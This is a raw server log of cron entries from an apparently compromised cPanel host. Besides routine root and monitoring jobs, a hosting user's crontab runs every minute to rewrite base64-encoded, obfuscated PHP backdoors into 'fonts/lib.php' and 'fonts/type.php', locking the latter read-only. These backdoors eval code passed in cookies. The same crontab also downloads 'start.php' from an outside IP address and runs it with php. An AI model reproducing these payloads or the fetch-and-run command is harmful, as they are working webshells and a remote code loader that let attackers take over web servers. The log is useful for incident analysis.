Sep  1 02:47:01 ip-184-168-122-23 CROND[3235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:47:01 ip-184-168-122-23 CROND[3238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:47:01 ip-184-168-122-23 CROND[3239]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:47:01 ip-184-168-122-23 CROND[3240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:48:01 ip-184-168-122-23 CROND[3314]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:48:01 ip-184-168-122-23 CROND[3318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:48:01 ip-184-168-122-23 CROND[3315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:48:01 ip-184-168-122-23 CROND[3317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:48:01 ip-184-168-122-23 CROND[3316]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:49:01 ip-184-168-122-23 CROND[3403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:49:01 ip-184-168-122-23 CROND[3402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:49:01 ip-184-168-122-23 CROND[3401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:49:01 ip-184-168-122-23 CROND[3404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:50:01 ip-184-168-122-23 CROND[3573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:50:01 ip-184-168-122-23 CROND[3575]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 02:50:01 ip-184-168-122-23 CROND[3576]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 02:50:01 ip-184-168-122-23 CROND[3577]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 02:50:01 ip-184-168-122-23 CROND[3581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:50:01 ip-184-168-122-23 CROND[3586]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:50:01 ip-184-168-122-23 CROND[3585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:50:01 ip-184-168-122-23 CROND[3584]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 02:50:01 ip-184-168-122-23 CROND[3587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:51:01 ip-184-168-122-23 CROND[3683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:51:01 ip-184-168-122-23 CROND[3685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:51:01 ip-184-168-122-23 CROND[3687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:51:01 ip-184-168-122-23 CROND[3688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:52:01 ip-184-168-122-23 CROND[3800]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:52:01 ip-184-168-122-23 CROND[3802]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:52:01 ip-184-168-122-23 CROND[3803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:52:01 ip-184-168-122-23 CROND[3804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:52:01 ip-184-168-122-23 CROND[3805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:53:01 ip-184-168-122-23 CROND[3882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:53:01 ip-184-168-122-23 CROND[3883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:53:01 ip-184-168-122-23 CROND[3884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:53:01 ip-184-168-122-23 CROND[3885]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:54:01 ip-184-168-122-23 CROND[3972]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:54:01 ip-184-168-122-23 CROND[3973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:54:01 ip-184-168-122-23 CROND[3977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:54:01 ip-184-168-122-23 CROND[3979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:54:01 ip-184-168-122-23 CROND[3980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:55:01 ip-184-168-122-23 CROND[4063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:55:01 ip-184-168-122-23 CROND[4065]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 02:55:01 ip-184-168-122-23 CROND[4067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:55:01 ip-184-168-122-23 CROND[4064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:55:01 ip-184-168-122-23 CROND[4069]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 02:55:01 ip-184-168-122-23 CROND[4070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:56:01 ip-184-168-122-23 CROND[4234]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:56:01 ip-184-168-122-23 CROND[4236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:56:01 ip-184-168-122-23 CROND[4237]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:56:01 ip-184-168-122-23 CROND[4239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:56:01 ip-184-168-122-23 CROND[4238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:57:01 ip-184-168-122-23 CROND[4320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:57:01 ip-184-168-122-23 CROND[4321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:57:01 ip-184-168-122-23 CROND[4322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:57:01 ip-184-168-122-23 CROND[4323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:58:01 ip-184-168-122-23 CROND[4399]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 02:58:01 ip-184-168-122-23 CROND[4401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 02:58:01 ip-184-168-122-23 CROND[4403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 02:58:01 ip-184-168-122-23 CROND[4402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:58:01 ip-184-168-122-23 CROND[4404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 02:59:02 ip-184-168-122-23 CROND[4523]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 02:59:02 ip-184-168-122-23 CROND[4524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
